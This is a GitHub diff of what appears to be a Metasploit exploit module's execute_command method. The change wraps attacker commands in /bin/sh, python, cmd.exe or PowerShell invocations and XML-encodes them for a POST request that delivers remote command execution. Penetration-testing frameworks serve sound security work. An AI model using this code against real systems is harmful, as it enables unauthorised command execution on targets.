File tree Expand file tree Collapse file tree 1 file changed +7
-9
lines changed
modules/exploits/multi/http Expand file tree Collapse file tree 1 file changed +7
-9
lines changed Original file line number Diff line number Diff line change @@ -86,21 +86,19 @@ def exploit
86
86
#
87
87
88
88
def execute_command ( cmd , opts = { } )
89
- case target . name
89
+ cmd = case target . name
90
90
when /Unix/ , /Linux/
91
- cmd = %W{ /bin/sh -c #{ cmd } }
91
+ %W{ /bin/sh -c #{ cmd } }
92
92
when /Python/
93
- cmd = %W{ python -c #{ cmd } }
93
+ %W{ python -c #{ cmd } }
94
94
when /PowerShell/
95
- # This shit doesn't work yet
96
- require 'pry' ; binding . pry
97
- cmd = %W{ cmd.exe /c #{ cmd_psh_payload ( cmd , payload . arch , remove_comspec : true ) } }
95
+ %W{ cmd.exe /c #{ cmd_psh_payload ( cmd , payload . arch , remove_comspec : true ) } }
98
96
when /Windows/
99
- cmd = %W{ cmd.exe /c #{ cmd } }
97
+ %W{ cmd.exe /c #{ cmd } }
100
98
end
101
99
102
- # Encode each command argument with HTML entities
103
- cmd . map! { |arg | Rex :: Text . html_encode ( arg ) }
100
+ # Encode each command argument with XML entities
101
+ cmd . map! { |arg | arg . encode ( xml : :text ) }
104
102
105
103
res = send_request_cgi (
106
104
'method' => 'POST' ,
You can’t perform that action at this time.
0 commit comments